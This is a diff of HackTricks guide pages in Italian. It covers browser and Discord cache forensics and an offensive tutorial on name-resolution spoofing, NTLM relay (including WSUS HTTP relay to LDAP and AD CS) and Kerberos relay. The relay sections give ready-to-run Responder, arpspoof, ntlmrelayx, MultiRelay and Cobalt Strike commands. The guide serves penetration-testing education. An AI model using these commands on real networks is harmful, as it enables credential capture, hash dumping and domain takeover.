+I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con container specifici che contengono dati come URL, tipo di file e posizione di download. I file fisici possono essere trovati sotto `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
 
-### Cronologia di Navigazione
+### Browsing History
 
-Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono i tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia si trovano in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Per esaminare la cronologia di navigazione, è possibile usare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), indicando la posizione dei file di history estratti e configurando lo strumento per Internet Explorer. I metadati includono tempi di modifica e accesso, insieme al conteggio degli accessi. I file di history si trovano in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
 
-### URL Digitati
+### Typed URLs
 
-Gli URL digitati e i loro tempi di utilizzo sono memorizzati nel registro sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input.
+Gli URL digitati e i tempi del loro utilizzo sono memorizzati nel registro sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i relativi ultimi tempi di input.
 
 ## Microsoft Edge
 
-Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono:
+Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per i vari tipi di dati sono:
 
 - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
 - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@@ -133,30 +139,31 @@ Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`
 
 ## Safari
 
-I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiave includono:
+I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. File chiave includono:
 
 - **History.db**: Contiene le tabelle `history_visits` e `history_items` con URL e timestamp delle visite. Usa `sqlite3` per interrogare.
 - **Downloads.plist**: Informazioni sui file scaricati.
-- **Bookmarks.plist**: Memorizza gli URL dei segnalibri.
+- **Bookmarks.plist**: Memorizza gli URL preferiti.
 - **TopSites.plist**: Siti più visitati.
-- **Extensions.plist**: Elenco delle estensioni del browser Safari. Usa `plutil` o `pluginkit` per recuperare.
-- **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche. Usa `plutil` per analizzare.
-- **LastSession.plist**: Schede dell'ultima sessione. Usa `plutil` per analizzare.
-- **Browser’s built-in anti-phishing**: Controlla utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva.
+- **Extensions.plist**: Elenco delle estensioni del browser Safari. Usa `plutil` o `pluginkit` per recuperarne il contenuto.
+- **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche. Usa `plutil` per il parsing.
+- **LastSession.plist**: Schede dall'ultima sessione. Usa `plutil` per il parsing.
+- **Browser’s built-in anti-phishing**: Verifica con `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzionalità è attiva.
 
 ## Opera
 
-I dati di Opera risiedono in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e condividono il formato di Chrome per cronologia e download.
+I dati di Opera risiedono in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e condividono il formato di Chrome per history e download.
 
-- **Browser’s built-in anti-phishing**: Verifica controllando se `fraud_protection_enabled` nel file Preferences è impostato su `true` utilizzando `grep`.
+- **Browser’s built-in anti-phishing**: Verifica controllando se `fraud_protection_enabled` nel file Preferences è impostato su `true` usando `grep`.
 
-Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di navigazione memorizzati dai diversi browser web.
+Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di navigazione memorizzati dai diversi web browser.
 
-## Riferimenti
+## References
 
 - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
 - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
 - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
 - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
 
+
 {{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md

@@ -0,0 +1,89 @@
+# Discord Cache Forensics (Chromium Simple Cache)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Questa pagina riassume come eseguire il triage degli artifact della cache di Discord Desktop per recuperare file esfiltrati, endpoint di webhook e timeline delle attività. Discord Desktop è un'app Electron/Chromium e utilizza Chromium Simple Cache su disco.
+
+## Where to look (Windows/macOS/Linux)
+
+- Windows: %AppData%\discord\Cache\Cache_Data
+- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
+- Linux: ~/.config/discord/Cache/Cache_Data
+
+Strutture chiave su disco all'interno di Cache_Data:
+- index: database indice di Simple Cache
+- data_#: file di blocco della cache binari che possono contenere più oggetti memorizzati nella cache
+- f_######: singole voci della cache memorizzate come file autonomi (spesso contenuti di dimensione maggiore)
+
+Nota: eliminare messaggi/canali/server in Discord non svuota questa cache locale. Gli elementi in cache spesso rimangono e i timestamp dei file corrispondono all'attività dell'utente, permettendo la ricostruzione della timeline.
+
+## What can be recovered
+
+- Allegati esfiltrati e miniature recuperate tramite cdn.discordapp.com/media.discordapp.net
+- Immagini, GIF, video (es. .jpg, .png, .gif, .webp, .mp4, .webm)
+- URL di webhook (https://discord.com/api/webhooks/…)
+- Chiamate API di Discord (https://discord.com/api/vX/…)
+- Utile per correlare attività di beaconing/esfiltrazione e per calcolare hash dei media per il matching con intel
+
+## Quick triage (manual)
+
+- Grep nella cache per artefatti ad alto segnale:
+- Webhook endpoints:
+- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
+- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
+- Attachment/CDN URLs:
+- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
+- Discord API calls:
+- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
+- Ordina le voci della cache per tempo di modifica per costruire una timeline rapida (mtime riflette quando l'oggetto è stato aggiunto alla cache):
+- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
+
+## Parsing f_* entries (HTTP body + headers)
+
+I file che iniziano con f_ contengono header di risposta HTTP seguiti dal body. Il blocco degli header termina tipicamente con \r\n\r\n. Header di risposta utili includono:
+- Content-Type: per inferire il tipo di media
+- Content-Location or X-Original-URL: URL remoto originale per preview/correlazione
+- Content-Encoding: può essere gzip/deflate/br (Brotli)
+
+I media possono essere estratti separando gli header dal body e, opzionalmente, decomprimendo in base a Content-Encoding. Il magic-byte sniffing è utile quando Content-Type è assente.
+
+## Automated DFIR: Discord Forensic Suite (CLI/GUI)
+
+- Repo: https://github.com/jwdfir/discord_cache_parser
+- Function: scansiona ricorsivamente la cartella della cache di Discord, trova URL di webhook/API/allegati, analizza i corpi f_*, opzionalmente estrae (carve) i media, e genera report timeline in HTML + CSV con hash SHA‑256.
+
+Example CLI usage:
+```bash
+# Acquire cache (copy directory for offline parsing), then run:
+python3 discord_forensic_suite_cli \
+--cache "%AppData%\discord\Cache\Cache_Data" \
+--outdir C:\IR\discord-cache \
+--output discord_cache_report \
+--format both \
+--timeline \
+--extra \
+--carve \
+--verbose
+```
+Opzioni principali:
+- --cache: Percorso alla directory Cache_Data
+- --format html|csv|both
+- --timeline: Genera una timeline CSV ordinata (per tempo di modifica)
+- --extra: Scansiona anche le cache sorelle Code Cache e GPUCache
+- --carve: Carve media dai raw bytes vicino ai match regex (images/video)
+- Output: rapporto HTML, rapporto CSV, timeline CSV e una cartella media con file carved/estratti
+
+## Suggerimenti per l'analista
+
+- Correlare il tempo di modifica (mtime) dei file f_* e data_* con le finestre di attività dell'utente/attaccante per ricostruire una timeline.
+- Calcolare l'hash (SHA-256) dei media recuperati e confrontarlo con dataset known-bad o di exfil.
+- Le webhook URL estratte possono essere testate per la loro operatività o ruotate; considerare l'aggiunta a blocklists e retro-hunting proxies.
+- La Cache persiste dopo il “wiping” lato server. Se l'acquisizione è possibile, raccogliere l'intera directory Cache e le cache correlate (Code Cache, GPUCache).
+
+## Riferimenti
+
+- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
+- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
+- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

@@ -1,77 +1,77 @@
-# Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Attacchi di Relay
+# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Protocolli di Rete
+## Protocolli di rete
 
-### Protocolli di Risoluzione del Nome Locale
+### Protocolli di risoluzione nomi locali
 
-- **LLMNR, NBT-NS e mDNS**:
-- Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
-- Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
-- [Responder](https://github.com/lgandx/Responder) può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
-- Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate [qui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+- **LLMNR, NBT-NS, and mDNS**:
+- Microsoft e altri sistemi operativi usano LLMNR e NBT-NS per la risoluzione dei nomi locali quando il DNS fallisce. Allo stesso modo, i sistemi Apple e Linux usano mDNS.
+- Questi protocolli sono suscettibili all'intercettazione e allo spoofing a causa della loro natura broadcast non autenticata su UDP.
+- [Responder](https://github.com/lgandx/Responder) può essere usato per impersonare servizi inviando risposte contraffatte agli host che effettuano query su questi protocolli.
+- Ulteriori informazioni sull'impersonificazione dei servizi usando Responder si trovano [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
-### Protocollo di Scoperta Automatica del Proxy Web (WPAD)
+### Protocollo Web Proxy Auto-Discovery (WPAD)
 
-- WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
-- La scoperta è facilitata tramite DHCP, DNS o un fallback a LLMNR e NBT-NS se DNS fallisce.
-- Responder può automatizzare gli attacchi WPAD, indirizzando i client a server WPAD malevoli.
+- WPAD permette ai browser di scoprire automaticamente le impostazioni del proxy.
+- La scoperta avviene tramite DHCP, DNS, o con fallback a LLMNR e NBT-NS se il DNS fallisce.
+- Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD dannosi.
 
-### Responder per il Veleno dei Protocolli
+### Responder per il Poisoning dei protocolli
 
-- **Responder** è uno strumento utilizzato per avvelenare le query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
-- È preinstallato in Kali Linux, configurabile in `/etc/responder/Responder.conf`.
-- Responder visualizza gli hash catturati sullo schermo e li salva nella directory `/usr/share/responder/logs`.
+- **Responder** è uno strumento usato per il poisoning delle query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base al tipo di query, prendendo di mira principalmente i servizi SMB.
+- Viene fornito pre-installato in Kali Linux, configurabile in `/etc/responder/Responder.conf`.
+- Responder mostra gli hash catturati sullo schermo e li salva nella directory `/usr/share/responder/logs`.
 - Supporta sia IPv4 che IPv6.
-- La versione Windows di Responder è disponibile [qui](https://github.com/lgandx/Responder-Windows).
+- La versione Windows di Responder è disponibile [here](https://github.com/lgandx/Responder-Windows).
 
 #### Esecuzione di Responder
 
 - Per eseguire Responder con impostazioni predefinite: `responder -I <Interface>`
-- Per un probing più aggressivo (con potenziali effetti collaterali): `responder -I <Interface> -P -r -v`
-- Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice: `responder -I <Interface> --lm --disable-ess`
+- Per probing più aggressivo (con potenziali effetti collaterali): `responder -I <Interface> -P -r -v`
+- Tecniche per catturare challenge/response NTLMv1 per cracking più semplice: `responder -I <Interface> --lm --disable-ess`
 - L'impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
-- Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: `responder.py -I <interface> -Pv`
+- Le richieste NetBIOS possono essere risolte verso l'IP dell'attaccante, e può essere impostato un proxy di autenticazione: `responder.py -I <interface> -Pv`
 
-### Avvelenamento DHCP con Responder
+### DHCP Poisoning con Responder
 
-- Falsificare le risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva all'avvelenamento ARP.
+- Lo spoofing delle risposte DHCP può avvelenare permanentemente le informazioni di routing della vittima, offrendo un'alternativa più furtiva rispetto all'ARP poisoning.
 - Richiede una conoscenza precisa della configurazione della rete target.
-- Esecuzione dell'attacco: `./Responder.py -I eth0 -Pdv`
-- Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni della rete.
+- Per eseguire l'attacco: `./Responder.py -I eth0 -Pdv`
+- Questo metodo può catturare efficacemente hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni di rete.
 
-### Cattura delle Credenziali con Responder
+### Cattura delle credenziali con Responder
 
-- Responder impersonerà i servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi falsificati.
-- Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una cracking delle credenziali più semplice.
+- Responder impersonerà i servizi usando i protocolli sopra menzionati, catturando credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi spoofati.
+- Si possono tentare downgrade a NetNTLMv1 o disabilitare ESS per facilitare il cracking delle credenziali.
 
-È fondamentale notare che l'impiego di queste tecniche deve essere effettuato legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.
+È fondamentale notare che l'impiego di queste tecniche deve avvenire in modo legale ed etico, assicurandosi di avere le autorizzazioni appropriate ed evitando interruzioni o accessi non autorizzati.
 
 ## Inveigh
 
-Inveigh è uno strumento per tester di penetrazione e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo attacchi di spoofing e man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
+Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo spoofing e attacchi man-in-the-middle. Lo strumento si è evoluto da uno script PowerShell a un binario C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) come le versioni principali. Parametri e istruzioni dettagliate si trovano nella [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
 
-Inveigh può essere operato tramite PowerShell:
+Inveigh può essere utilizzato tramite PowerShell:
 ```bash
 Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
 ```
-O eseguito come un binario C#:
+Oppure eseguito come un binario C#:
 ```bash
 Inveigh.exe
 ```
-### Attacco di Relay NTLM
+### NTLM Relay Attack
 
-Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina target, concedendo una shell di sistema se ha successo. I requisiti chiave includono:
+Questo attacco sfrutta sessioni di autenticazione SMB per accedere a una macchina target, ottenendo una system shell se ha successo. I prerequisiti chiave includono:
 
-- L'utente che si autentica deve avere accesso come Amministratore Locale sull'host relayato.
-- La firma SMB deve essere disabilitata.
+- L'utente che si autentica deve avere accesso Local Admin sull'host relayed.
+- SMB signing dovrebbe essere disabilitato.
 
-#### Inoltro e Tunnelizzazione della Porta 445
+#### 445 Port Forwarding and Tunneling
 
-In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come [**PortBender**](https://github.com/praetorian-inc/PortBender) aiutano a reindirizzare il traffico della porta 445 a un'altra porta, il che è essenziale quando è disponibile l'accesso come amministratore locale per il caricamento del driver.
+In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come [**PortBender**](https://github.com/praetorian-inc/PortBender) aiutano a reindirizzare il traffico della porta 445 verso un'altra porta, cosa essenziale quando è disponibile accesso Local Admin per il driver loading.
 
-Impostazione e funzionamento di PortBender in Cobalt Strike:
+Configurazione e funzionamento di PortBender in Cobalt Strike:
 ```bash
 Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
 
@@ -87,17 +87,17 @@ beacon> jobkill 0
 beacon> rportfwd stop 8445
 beacon> socks stop
 ```
-### Altri Strumenti per l'Attacco di Relay NTLM
+### Altri strumenti per NTLM Relay Attack
 
-- **Metasploit**: Configurato con proxy, dettagli degli host locali e remoti.
-- **smbrelayx**: Uno script Python per il relay delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
-- **MultiRelay**: Uno strumento della suite Responder per fare relay di utenti specifici o di tutti gli utenti, eseguire comandi o dumpare hash.
+- **Metasploit**: Configurare con proxies, dettagli di host locale e remoto.
+- **smbrelayx**: Uno script Python per il relaying di SMB sessions ed executing commands o deploying backdoors.
+- **MultiRelay**: Uno strumento della suite Responder per relay di specific users o di tutti gli users, executing commands, o dump hashes.
 
-Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, abilitando attacchi anche con accesso indiretto alla rete.
+Ogni tool può essere configurato per operare tramite un SOCKS proxy se necessario, permettendo attacchi anche con accesso di rete indiretto.
 
 ### Operazione di MultiRelay
 
-MultiRelay viene eseguito dalla directory _**/usr/share/responder/tools**_, mirando a IP o utenti specifici.
+MultiRelay viene eseguito dalla _**/usr/share/responder/tools**_ directory, mirato a specifici IP o users.
 ```bash
 python MultiRelay.py -t <IP target> -u ALL # Relay all users
 python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@@ -105,50 +105,112 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
 
 # Proxychains for routing traffic
 ```
-Questi strumenti e tecniche formano un insieme completo per condurre attacchi di NTLM Relay in vari ambienti di rete.
+Questi strumenti e tecniche costituiscono un set completo per condurre NTLM Relay attacks in diversi ambienti di rete.
 
-### Forzare i login NTLM
+### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
+
+I client WSUS si autenticano al loro server di aggiornamenti usando NTLM su HTTP (8530) o HTTPS (8531). Quando HTTP è abilitato, i check-in periodici dei client possono essere forzati o intercettati sul segmento locale e rilanciati con ntlmrelayx verso endpoint LDAP/LDAPS/SMB o AD CS HTTP (ESC8) senza rompere nessun hash. Questo si mimetizza nel traffico di aggiornamento normale e frequentemente produce autenticazioni di account macchina (HOST$).
+
+Cosa cercare
+- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
+- WUServer (e.g., http://wsus.domain.local:8530)
+- WUStatusServer (reporting URL)
+- UseWUServer (1 = WSUS; 0 = Microsoft Update)
+- DetectionFrequencyEnabled and DetectionFrequency (ore)
+- WSUS SOAP endpoints used by clients over HTTP:
+- /ClientWebService/client.asmx (approvals)
+- /ReportingWebService/reportingwebservice.asmx (status)
+- Porte predefinite: 8530/tcp HTTP, 8531/tcp HTTPS
+
+Riconoscimento
+- Non autenticato
+- Scansione per listener: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
+- Intercetta il traffico WSUS HTTP via L2 MITM e registra client/endpoint attivi con wsusniff.py (solo HTTP a meno che tu non riesca a far fidare i client del tuo certificato TLS).
+- Autenticato
+- Analizza i SYSVOL GPOs per le chiavi WSUS con MANSPIDER + regpol (lo wrapper wsuspider.sh riassume WUServer/WUStatusServer/UseWUServer).
+- Interroga endpoint a scala da host (NetExec) o localmente:
+nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
+reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
+
+Passaggi per il relay HTTP end-to-end
+1) Posizionati per MITM (same L2) in modo che un client risolva il server WSUS verso di te (ARP/DNS poisoning, Bettercap, mitm6, etc.). Esempio con arpspoof:
+arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
+
+2) Reindirizza la porta 8530 al tuo listener di relay (opzionale, comodo):
+iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
+iptables -t nat -L PREROUTING --line-numbers
+
+3) Avvia ntlmrelayx con l'HTTP listener (richiede il supporto HTTP listener in Impacket; vedi i PR sotto):
+ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
+
+Altri target comuni:
+- Relay verso SMB (se SMB signing disabilitato) per exec/dump: -t smb://<host>
+- Relay verso LDAPS per modifiche di directory (es., RBCD): -t ldaps://<DC>
+- Relay verso AD CS web enrollment (ESC8) per generare un certificato e poi autenticarsi via Schannel/PKINIT:
+ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
+Per percorsi di abuso AD CS più approfonditi e tooling, vedi la pagina AD CS:
+
+{{#ref}}
+../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+{{#endref}}
+
+4) Forza un check-in del client o aspetta il suo piano. Dal client:
+wuauclt.exe /detectnow
+o usa l'interfaccia Windows Update (Check for updates).
+
+5) Usa le sessioni SOCKS autenticate (se -socks) o i risultati del relay diretto per post-exploitation (modifiche LDAP, operazioni SMB, o emissione di certificati AD CS per autenticazioni successive).
+
+Vincolo HTTPS (8531)
+- L'intercettazione passiva di WSUS su HTTPS è inefficace a meno che i client non si fidino del tuo certificato. Senza un certificato fidato o un altro break TLS, l'handshake NTLM non può essere raccolto/relayato dal traffico WSUS HTTPS.
+
+Note
+- WSUS è stato dichiarato deprecato ma rimane ampiamente distribuito; HTTP (8530) è ancora comune in molti ambienti.
+- Helper utili: wsusniff.py (osservare i check-in WSUS HTTP), wsuspider.sh (enumerare WUServer/WUStatusServer dai GPO), NetExec reg-query a scala.
+- Impacket ha ripristinato il supporto HTTP listener per ntlmrelayx nel PR #2034 (originariamente aggiunto nel PR #913).
+
+### Force NTLM Logins
+
+In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la pagina seguente per imparare come:
 
-In Windows **potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie**. Leggi la pagina seguente per scoprire come:
 
 {{#ref}}
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}
 
-## Attacco Kerberos Relay
+## Kerberos Relay attack
 
-Un **attacco Kerberos relay** ruba un **ticket AP-REQ** da un servizio e lo riutilizza contro un secondo servizio che condivide la **stessa chiave dell'account computer** (perché entrambi gli SPN si trovano sullo stesso account macchina `$`). Questo funziona anche se le **classi di servizio degli SPN differiscono** (ad es. `CIFS/` → `LDAP/`) perché la *chiave* che decripta il ticket è l'hash NT della macchina, non la stringa SPN stessa e la stringa SPN non fa parte della firma.
+Un **Kerberos relay attack** ruba un **AP-REQ ticket** da un servizio e lo riutilizza contro un secondo servizio che condivide la **stessa chiave dell'account macchina** (perché entrambi gli SPN stanno sullo stesso account macchina `$`). Questo funziona anche se le **classi di servizio** degli SPN differiscono (es. `CIFS/` → `LDAP/`) perché la *chiave* che decripta il ticket è l'NT hash della macchina, non la stringa SPN stessa, e la stringa SPN non fa parte della firma.
 
-A differenza del relay NTLM, il salto è limitato alla *stessa host*, ma, se punti a un protocollo che ti consente di scrivere su LDAP, puoi concatenarti in **Delegazione Constrainata Basata su Risorse (RBCD)** o **registrazione AD CS** e ottenere **NT AUTHORITY\SYSTEM** in un colpo solo.
+Diversamente dall'NTLM relay, il salto è limitato allo *stesso host* ma, se punti a un protocollo che ti permette di scrivere su LDAP, puoi concatenare in **Resource-Based Constrained Delegation (RBCD)** o **AD CS enrollment** e ottenere **NT AUTHORITY\SYSTEM** in un solo colpo.
 
 Per informazioni dettagliate su questo attacco controlla:
 
 - [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
 - [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
 
-- 1. **Nozioni di base su Kerberos**
+- 1. **Fondamenti di Kerberos**
 
-| Token | Scopo | Rilevanza del relay |
+| Token | Scopo | Rilevanza per il relay |
 |-------|---------|-----------------|
-| **TGT / AS-REQ ↔ REP** | Prova l'utente al KDC | intatto |
-| **Ticket di servizio / TGS-REQ ↔ REP** | Legato a un **SPN**; crittografato con la chiave del proprietario dello SPN | intercambiabile se gli SPN condividono l'account |
-| **AP-REQ** | Il client invia `TGS` al servizio | **cosa rubiamo e riproduciamo** |
+| **TGT / AS-REQ ↔ REP** | Dimostra l'utente al KDC | inalterato |
+| **Service ticket / TGS-REQ ↔ REP** | Vincolato a uno **SPN**; criptato con la chiave del proprietario dello SPN | intercambiabile se gli SPN condividono lo stesso account |
+| **AP-REQ** | Il client invia il `TGS` al servizio | **ciò che rubiamo e riproduciamo** |
 
-* I ticket sono crittografati con la **chiave derivata dalla password dell'account che possiede lo SPN**.
-* L'**Autenticatore** all'interno dell'AP-REQ ha un timestamp di 5 minuti; la riproduzione all'interno di quella finestra è valida fino a quando la cache del servizio non vede un duplicato.
-* Windows controlla raramente se la stringa SPN nel ticket corrisponde al servizio che colpisci, quindi un ticket per `CIFS/HOST` normalmente si decripta correttamente su `LDAP/HOST`.
+* I ticket sono criptati con la **chiave derivata dalla password dell'account che possiede lo SPN**.
+* L'**Authenticator** dentro l'AP-REQ ha un timestamp di 5 minuti; il replay entro quella finestra è valido finché la cache del servizio non vede un duplicato.
+* Windows raramente verifica se la stringa SPN nel ticket corrisponde al servizio che stai colpendo, quindi un ticket per `CIFS/HOST` normalmente si decripta correttamente su `LDAP/HOST`.
 
-- 2. **Cosa deve essere vero per relay Kerberos**
+- 2. **Cosa deve essere vero per fare relay Kerberos**
 
-1. **Chiave condivisa:** gli SPN di origine e di destinazione appartengono allo stesso account computer (predefinito sui server Windows).
-2. **Nessuna protezione del canale:** SMB/LDAP disattivato e EPA disattivato per HTTP/LDAPS.
-3. **Puoi intercettare o costringere l'autenticazione:** avvelenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM rogue, ecc..
-4. **Fonte del ticket non già utilizzata:** vinci la corsa prima che il pacchetto reale arrivi o bloccalo completamente; altrimenti la cache di riproduzione del server attiva l'Evento 4649.
-5. Devi in qualche modo essere in grado di eseguire un **MitM nella comunicazione**, magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o essere in grado di cambiare il file HOST della vittima.
+1. **Chiave condivisa:** gli SPN sorgente e target appartengono allo stesso account macchina (default sui server Windows).
+2. **Nessuna protezione del canale:** SMB/LDAP signing disabilitato e EPA disabilitato per HTTP/LDAPS.
+3. **Puoi intercettare o costringere l'autenticazione:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, ecc..
+4. **Sorgente del ticket non già usata:** vinci la gara prima che il pacchetto reale arrivi o bloccala completamente; altrimenti la cache di replay del server genera l'Event 4649.
+5. Devi in qualche modo essere in grado di eseguire un **MitM nella comunicazione** — magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o potendo cambiare il file HOST della vittima.
 
-### Passi per Kerberos Relay
+### Kerberos Relay Steps
 
-- 3.1 **Riconoscere l'host**
+- 3.1 **Riconoscimento dell'host**
 ```powershell
 # find servers where HTTP, LDAP or CIFS share the same machine account
 Get-ADComputer -Filter * -Properties servicePrincipalName |
@@ -162,20 +224,20 @@ Select Name,servicePrincipalName
 # one-click local SYSTEM via RBCD
